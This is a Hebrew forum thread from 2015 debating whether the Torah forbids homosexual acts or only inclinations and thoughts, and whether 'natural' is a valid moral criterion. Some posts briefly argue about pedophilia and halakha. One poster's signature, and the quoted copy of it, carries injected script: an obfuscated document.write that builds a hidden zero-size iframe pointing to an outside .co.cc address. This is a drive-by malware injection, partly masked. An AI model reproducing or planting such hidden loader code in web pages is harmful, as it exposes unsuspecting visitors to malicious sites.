|
|
| נשלח ב-21/7/2015 09:06 |
 |
| |
.
מיימוני,
ראשית, עלי להסתייג ולהבהיר שאינני מבין בתחום הזה ולו כלום.
אך לאחר ההסתייגות, בנושא ציווי התורה שבדבריך, ברצוני לחדד, אולי כדי להבהיר משהו:
כתבת למעלה משהו אודות עמדת התורה כלפי "חד-מיניות". מאחר ולא ברורה לי אותה "חד-מיניות" מהי בדיוק, שמא ננסה לתחום היטב את עמדת התורה.
האם תסכים אתי שעמדת התורה היא לאסור משכב זכר, ולא לאסור משהו - אמורפי ובלתי מוגדר - הקשור לרגשות או למשיכה?
המעשה הוא שנאסר בתורה, לא תחושות, רגשות ומחשבות?
|
|
|
|
| נשלח ב-21/7/2015 09:52 |
|
| |
מואדיב
אני עונה על יותר ממה ששאלת.
ההבנה המקובלת, כמדומה, היא שכל יחס חד מיני נאסר. זה אומר גם משכב זכר (כמכחול בשפופרת) אבל גם כל מה שמסביב. כלומר, אם זוג גברים, בגירים, יבטאו את רצונם לחיות יחד באותו בית, ולגדל ילדים משלהם, ולהציג את עצמם כזוג נשוי, גם זה אמור להיות אסור.
זה האופן "הרחב" של הבנת האיסור.
האופן הצר הוא לטעון שהתורה לא אסרה אלא משכב זכר. ולכן אם יש זוג גברים שחי יחד כדרך הנשואים כל עוד לא ביצעו משכב זכר בפועל אין כאן שום איסור פורמלי.
מכאן אפשר אפילו לפתח המלצות לזוג חד מיני כיצד להימנע מאיסור תורה בפועל, אבל זה נושא שקשה מאד לעסוק בו מכמה סיבות (חוסר צניעות הוא הגורם הבולט ביותר).
העלית עוד שאלה: האם מי שיש לו רגשות ומחשבות אודות קשר חד מיני, האם זה אסור בעצמו?
זכורה לי תשובה מרשימה של ישעיהו לייבוביץ, שאכן עמד על ההבדל הזה. וכמדומה לא רק הוא. מי שמוצא את עצמו לאונסו (או עד כמה שניתן לזהות אונס פנימי) מהרהר ותאב - אבל מתגבר, האם לא "צדיק" ייאמר לו?
אני מוסיף על הדברים:
האם יש יכולת ורשות לפוסק לשנות את הפרשנות של האיסורים כדי להכיל שינויי תרבות, חברה ואישיות?
יש לנו שני מנגנונים כדי לאפשר "לבוא בקהל" גם לחד מיני. השאלה היא אם זה נכון וראוי.
א. לטעון שהאיסור על חד מיניות מתאים לעולם העתיק, בדיוק כמו עבדות, הגבלות על האשה, ועוד. מה עושים עם איסור שלכאורה עבר זמנו? (עצם הניסוח הזה נשמע אפיקורסי וחורג ממה שרשאי האורתודוכסי להתנסח, הלא כן?).
אז מחפשים פתרונות, אבל הם יהיו מאותו סוג של ההסבר והפרשנות מדוע מעמד האשה, נניח, השתנה.
ב. בין אם מאמצים את ההסבר האידיאולוגי של הסעיף הקודם או שלא, אם מאמצים את דגם האיסור הפורמלי, אז אפשר לטעון שכל עוד מדובר בזוגיות חד מינית ולא באישות חד מינית, זה בסדר ואין לנו להתערב בזה.
כמדומה שבין הקונסרבטיבים, שביניהם היתה מחלוקת גדולה בנושא (שהרי הם מחוייבים לתורה אבל מניחים שהיא ניתנת לפרשנות מתוך התחשבות בשינויים תרבותיים), היה אכן קו ש"אל תשאל שאלות ולא יהיו בעיות". כלומר כל עוד בני הזוג החד מיני חיים בלי להפגין את הצד האסור באופן המצומצם, זה יכול להתקבל והם יכולים להיות חברי קהילה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-21/7/2015 10:01 |
|
| |
| מיימוני כתב: |  | מואדיב
אני עונה על יותר ממה ששאלת.
ההבנה המקובלת, כמדומה, היא שכל יחס חד מיני נאסר. זה אומר גם משכב זכר (כמכחול בשפופרת) אבל גם כל מה שמסביב. כלומר, אם זוג גברים, בגירים, יבטאו את רצונם לחיות יחד באותו בית, ולגדל ילדים משלהם, ולהציג את עצמם כזוג נשוי, גם זה אמור להיות אסור.
זה האופן "הרחב" של הבנת האיסור.
האופן הצר הוא לטעון שהתורה לא אסרה אלא משכב זכר. ולכן אם יש זוג גברים שחי יחד כדרך הנשואים כל עוד לא ביצעו משכב זכר בפועל אין כאן שום איסור פורמלי.
מכאן אפשר אפילו לפתח המלצות לזוג חד מיני כיצד להימנע מאיסור תורה בפועל, אבל זה נושא שקשה מאד לעסוק בו מכמה סיבות (חוסר צניעות הוא הגורם הבולט ביותר).
העלית עוד שאלה: האם מי שיש לו רגשות ומחשבות אודות קשר חד מיני, האם זה אסור בעצמו?
זכורה לי תשובה מרשימה של ישעיהו לייבוביץ, שאכן עמד על ההבדל הזה. וכמדומה לא רק הוא. מי שמוצא את עצמו לאונסו (או עד כמה שניתן לזהות אונס פנימי) מהרהר ותאב - אבל מתגבר, האם לא "צדיק" ייאמר לו?
אני מוסיף על הדברים:
האם יש יכולת ורשות לפוסק לשנות את הפרשנות של האיסורים כדי להכיל שינויי תרבות, חברה ואישיות?
יש לנו שני מנגנונים כדי לאפשר "לבוא בקהל" גם לחד מיני. השאלה היא אם זה נכון וראוי.
א. לטעון שהאיסור על חד מיניות מתאים לעולם העתיק, בדיוק כמו עבדות, הגבלות על האשה, ועוד. מה עושים עם איסור שלכאורה עבר זמנו? (עצם הניסוח הזה נשמע אפיקורסי וחורג ממה שרשאי האורתודוכסי להתנסח, הלא כן?).
אז מחפשים פתרונות, אבל הם יהיו מאותו סוג של ההסבר והפרשנות מדוע מעמד האשה, נניח, השתנה.
ב. בין אם מאמצים את ההסבר האידיאולוגי של הסעיף הקודם או שלא, אם מאמצים את דגם האיסור הפורמלי, אז אפשר לטעון שכל עוד מדובר בזוגיות חד מינית ולא באישות חד מינית, זה בסדר ואין לנו להתערב בזה.
כמדומה שבין הקונסרבטיבים, שביניהם היתה מחלוקת גדולה בנושא (שהרי הם מחוייבים לתורה אבל מניחים שהיא ניתנת לפרשנות מתוך התחשבות בשינויים תרבותיים), היה אכן קו ש"אל תשאל שאלות ולא יהיו בעיות". כלומר כל עוד בני הזוג החד מיני חיים בלי להפגין את הצד האסור באופן המצומצם, זה יכול להתקבל והם יכולים להיות חברי קהילה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
כדי להקל על הדיון, אשאל - אך לרגע - שאלה אחרת:
האם כאשר אני חושק באשתי, למרות שבאותו הרגע טרם טבלה, עברתי על הלכות נידה?
האם כאשר אני חושק באשתי, וזה בשעות היום, או במקום שאינו ראוי לייחוד, עברתי עבירה?
האם כאשר אני רואה גלידה חלבית, ואני בשרי, עברתי עבירה? האם מותר לי לערוך שולחן עם קערה לאותה הגלידה, חמש דקות לפני שתסתיים תקופת האיסור שלי על הגלידה, אעבור? ודקה?
והשאלה ברורה: מה הגדר בו אתה קובע שהרהור הוא עבירה - למשל, כאשר תהיה לו שעת היתר, ומתי הרהור אינו אלא הרהור?
(ושמא נחזור לספרו של רבינו בחיי?)
|
|
|
|
|
| נשלח ב-21/7/2015 10:01 |
|
| |
מיימוני
השאלה של מואדיב הייתה מאוד ממוקדת - מעשים או נטייה?
במעשים אתה יכול לכלול אם אתה רוצה גם ביאה דרך אברים, קרבה של חיבה, מעשי קרבה בלי חיבה, חיים משותפים ביחד כמשפחה וכו'. כל זה עדיין לא אוסר את הנטייה.
מעשה גם יכול לכלול הרהור. כמו שאני אוסר על כל אחד להרהר בעריות (זה מצריך דיון נפרד בשאלה האם אפשר לאסור מחשבה).
נטייה היא פשוט מצב עקרוני של האדם. לצורך הפישוט - מראה אישה ערומה לא גורם לו דבר, ואילו מראה גבר ערום גורם לו לזקפה.
האם יש מישהו שחושב שנאסרה הנטייה, כלומר שמי שנמשך מינית לגברים מצוי באיסור? גבר דתי שכזה שמחמיר מאוד בגדרי צניעות כך שחלילה לא יעלה הרהור אסור של משכב זכור בדעתו, היעלה על הדעת שהוא עובר באיסור כלשהו?!
עריכה - כרגע אני רואה שמואדיב הגיב והוא דווקא ממקד את השאלה בהרהור. בכל אופן, אני חושב שדבריי נכונים בהקשר של דברי מיימוני שנשמע מהם שעצם הנטייה אסורה.
תוקן על ידי יש3 ב- 21/07/2015 10:02:33
|
|
|
|
| נשלח ב-21/7/2015 13:54 |
|
| |
[מיימוני,
אתה חוזר שוב ושוב לדיון שלך ב"טבע" ולמרות ההתלבטות הפנימית שלך לגבי עניין זה (גם זה משהו...), אתה חוזר ומשליך מרגשותיך שלך על ה"טבע האנושי" - אתה מאמין שמה שאתה חש הוא הוא הטבעי לכולם לחוש. שים לב, איני מדברת כאן על מה ראוי, נכון, צודק או מוסרי יותר - כל אלה נתונים לויכוח (מבחינתי), ואין לי בעיה עקרונית (ייתכן שתהיה לי בעיה עם הפרטים) עם קהילות שקובעות גבולות ערכיים לעצמן ("מי שנוהג X אינו ראוי להיכלל בינינו"). הויכוח בינינו הוא על מה "טבעי", ואיני מוכנה לקבל שהעובדה שאתה חש דחייה מנטייה מסויימת (או ממעשה מסוים) היא סמן לכך שנטייה או מעשה זה הם "בלתי טבעיים". זה לא רק אבסורדי זה טיפה אגוצנטרי...
בנוסף, ממתי טבעי/לא טבעי זה קריטריון למוסר? דומני שאין טבעי מיישום כעס גואה לכדי אלימות פיזית, ובכ"ז נראה לי שרובנו לא חושבים שמעשה כזה הוא מוסרי; לרצות מאוד משהו שיש למישהו אחר, גם זה טבעי למדי ובכ"ז לנהוג כך ולקחת את הדבר הנחשק - זה לא מוסרי, וכו' וכו'.
בקיצור - אם אתה רוצה לדבר על הטבע, זה אחלה, אבל: א) אל תערבב זאת עם דיון מוסרי; ב) אל תניח מיידית שמה שאתה מרגיש הוא הוא ה"טבעי" ומה שאחרים מרגישים הוא "לא טבעי".]
|
|
|
|
|
| נשלח ב-21/7/2015 14:53 |
|
| |
לגבי נקודה א' של אמשלוום.
אני לא עו"ד של מיימוני, אבל ייתכן שהוא כיוון לסברה, שקשורה לנושאי מין בלבד, ולא לשאלות מוסריות אחרות, שאומרת שהתורה לא נתנה לגיטימציה להרחיב את המין מעבר להופעתו הטבעית.
וכמובן שנקודה ב' היא הסבר בדיעבד לתורה, אין דרך לקבוע חד ערכית מה "טבעי" ומה לא, אבל הקושי הזה לא פוטר את המחוקק מדיון ואפילו לא מהכרעה, שאם לא כן הרי בעצם קבענו שכל דבר הוא "טבעי". מנקודת המבט של הפרט, הוא "טבעי" לפי מקומו, והרי התורה מספרת שבארץ מצרים וארץ כנען הרבה מאיסורי עריות היו טבעיים ומקובלים, וכך אנו יודעים גם על הרומאים שהיו בארץ בזמן חז"ל (להורדוס למשל, היה פילגש ממין זכר). אבל למחוקק או להוגי דעות המסבירים אותו, יש אפשרות לערוך דיון לפי קריטריונים מסויימים ולקבוע מה טבעי, מה בגבולות המיניות שהתורה מאשרת, וברגע שמשהו מחוץ לאישור הטבעי, זה חמור מאד לפי הקודקס התורני. ולא רק במשכב זכר.
|
|
|
|
| נשלח ב-21/7/2015 15:19 |
|
| |
.
אמא שלום,
האם את יכולה להגדיר מהו "טבעי" בצורה אובייקטיבית יותר ממיימוני?
|
|
|
|
| נשלח ב-21/7/2015 15:25 |
|
| |
ייתכן גם שלגבי נושא גבולות המיניות, מספיק שמשהו יהיה נחלת מיעוט בכדי לאסרו לפי הגישה של התורה, אפילו אם הוא טבעי אצלם. (גם משיכה לילדים קטנים היא 'טבעית' אצל אנשים מסויימים, האם זה מתיר או הופך את זה ללא מכוער ולא דוחה?. יש גם בני משפחה שנמשכים זה לזה לפעמים, אז מה?)
|
|
|
|
| נשלח ב-21/7/2015 15:31 |
|
| |
ישיביש
אז למה התורה לא אסרה פדופיליה?
|
|
|
|
|
| נשלח ב-21/7/2015 15:46 |
|
| |
מואדיב, יש וכולם
ניתן למיין את דרישות התורה, עשה ולא תעשה, למעשים, דיבורים ומחשבות (או הרגשות).
איסור והיתר נאמרו במעשים ולעתים גם בדיבורים. מחשבות בדרך כלל לא נאסרו ורגשות עוד פחות ("לא תשנא את אחיך בלבבך" בדרך כלל מתפרש במישור מעשי שבין אדם לחברו).
ניתן לדרג את התחום של יחסים חד מיניים לפי רמות וסוגים. אני משתמש בסידור של יש3.
א. משכב זכר כמכחול בשפופרת, ביאה דרך אברים, קרבה של חיבה, מעשי קרבה בלי חיבה, חיים משותפים ביחד כמשפחה.
כאשר אנו (או אני) כותבים שיש איסור, על מה הוא חל ומהיכן למדנו. לא הכרעתי אלא רק הבדלתי בין רמות.
ב. כיון שמחשבה ורגש לא נאסרו, אזי המשתוקק או המגלה בעצמו רצון כלפי חד מיניות אין בכך איסור ואין בכך עונש.
ג. אמנם אם יש איסור ויש עונש על הרהור עבירה (כפי שמשמע בתלמוד), אזי יהיו איסור ועונש על המהרהר בעבירה. כמובן, בתנאי שזו עבירה. אם יש איסור על החומד את אשת רעהו במחשבתו ובדמיונו, אזי יהיה איסור גם על החומד פלוני למשכב זכר.
אני חוזר כדי שלא ייוחס לי מה שלא כתבתי. אלו אפשרויות בדרך הלימוד.
יש להוסיף כי אם אדם מוצא את עצמו משתוקק לעבירה, ומתגבר על זה, הוא נחשב לצדיק. האם עדיף מי שאינו משתוקק לעבירה על פני שמשתוקק ומתגבר, כמדומה שבדבר זה נחלקו הדעות בין הראשונים.
שורה אחרונה: לפי המיון המוצלח שהציע יש3, ניתן לדון מה האיסור, אם יש, בכל אחת מן הרמות האלו. ורק אוסיף כי "חיים משותפים" בעצמו יכול להתחלק לרמות.
|
|
|
|
|
| נשלח ב-21/7/2015 16:02 |
|
| |
אמשלום היקרה ביותר
אני כנראה לא מצליח להתבטא בבהירות. כנראה הבעיה היא בשימוש במונח "טבע" ובהקשריו. אנסה לבאר יותר, גם לעצמי.
כאשר אנו פוסלים דרך התנהגות, אנו עשויים להשתמש באחד הנימוקים הבאים. הם נראים לפחות ממבט ראשון שונים זה מזה.
א. זה נגד ה"טבע".
ב. צורת ההתנהגות הפסולה אינה עולה בקנה אחד עם מה שהיה מועיל לחברה אנושית בשלבי התפתחות ראשוניים. הסבר בסגנון זה מקובל במחקר המנסה להסביר צורות התנהגות ואיסורים על בסיס השימושיות שלהם בקידום התפתחות החברה. (רצח מחליש את החברה. הטאבו על נישואי שארים=קרובים מדרגה ראשונה נועד להבטיח פיזור גנטי וכיו"ב).
ג. מה שמכנים "מוסר טבעי". גם זה ניתן להבין באופנים שונים. אחד מהם מגולם על ידי רב סעדיה גאון מכאן והרב יונתן זקס מכאן. יש לנו יכולת לזהות, אולי באמצעות "האור של התבונה" (מונח קרטזיאני), אמת מטפיזית או איסורים או זכויות. הדוגמא המפורסמת לדבר היא דברי אברהם אבינו, "השופט כל הארץ לא יעשה משפט". מהיכן יכול היה אברהם לדעת מהו המשפט שבשמו הוא פונה אל השם? הווה אומר: בזכות תפיסה ראשונית קודמת. יש טוב ויש רע ניתנים לידיעה.
הטענה הראשונה ("זה נגד הטבע") היתה מקובלת בעבר אבל היא חשופה לביקורת: מנלן? מהיכן יודעים זאת? וכן לביקורת על הכשל הנטורליסטי. זה שמעשה אינו נפוץ בטבע, מדוע שזה יהיה אסור? (כמו כן, כפי שבשעתו הובא כאן, אולי בידי אמשלום, מדווחים על אירועים חד מיניים גם בין בעלי חיים, כגון קופים).
הטענה השניה נראית מעמיקה יותר מבחינה זו שהיא מציעה ביסוס, אבל עדיין היא חשופה לכשל הנטורליסטי.
הטענה השלישית היא זו שבה השתמשתי. ובצדק טענה אמשלום: אם אתה מזהה במה שנחשב אצלך לאור התבונה או אור המוסר שחד מיניות אסורה, מה יאמרו אלו שאצלם אין זיהוי כזה? אם אטען שהם פגומים ולכן אינם מבינים זאת (כפי שאדם שאינו מבין שאסור לרצוח הוא כנראה פגום), זה יניח את המבוקש.
|
|
|
|
|
| נשלח ב-21/7/2015 16:06 |
|
| |
| יש3 כתב: | | ישיביש
אז למה התורה לא אסרה פדופיליה? |
|
התורה לא הבדילה בין אונס של בוגרת לאונס של ילדה, זה אומר שלא אסרה? ההלכה גם קובעת שפיתוי קטנה אונס הוא, ומכירה בעיקרון שאין "הסכמה" אצל קטינים.
כך גם לגבי זכר, משכב זכר כולל גם משכב קטין, ואיסורו שווה.
ואם אתה מתכוין לפדופיל שרק מנצל את גופו של הילד מבלי לבצע משכב זכר, זה מצוי גם אצל בגירים, ברור שזה שייך לפרשה של משכב זכר. ברמה מסויימת התייחסו לזה רק כמו להרביץ מכות לילד או לגרום לו אי נעימות אחרת, ולפעמים גם הנפגע התייחס לזה כך, (אגב, גם זה תלוי תרבות, כשאני הייתי קטן המציאות שמבוגר מרביץ לילד זר לו, היתה לגיטימית).
|
|
|
|
| נשלח ב-21/7/2015 18:00 |
|
| |
[מואדיב,
לא. איני יכולה (אולי רק ביולוגים יכולים). אבל אני גם משתדלת ככל יכולתי לא לטעון שום טיעון מוסרי-ערכי שנשען על "טבע".
אני חושבת שבאופן עקרוני, מי שמערבב טיעונים מתחום ה"טבע" בדיונים מוסריים וערכיים (ע"ע כל האשכולות שהיו כאן אי-פעם בענייני נשים, נשיות ומגדר), לא תמיד מדייק (בלשון המעטה) בתיאור אובייקטיבי של ה"טבע" ופעמים הרבה אכן קורא בשם "טבעי" לדברים שהם בודאי בתחומי החיברות והפסיכולוגיה, וממש לא בתחום הביולוגיה ו/או הפיזיקה.]
|
|
|
|
| נשלח ב-21/7/2015 18:09 |
|
| |
טבע אינו בהכרח ביולוגי, גם תהליכים נפשיים יכולים להיות טבעיים.
|
|
|
|
| נשלח ב-21/7/2015 18:23 |
|
| |
ישיביש
כל מה שאתה אומר הוא שאין הסכמה לקטין. זו לא בעיה של התנהגות מינית אלא של אלימות.
אין שום הלכתית לפדופיל בעיה להתחתן עם קטינה.
|
|
|
|
|
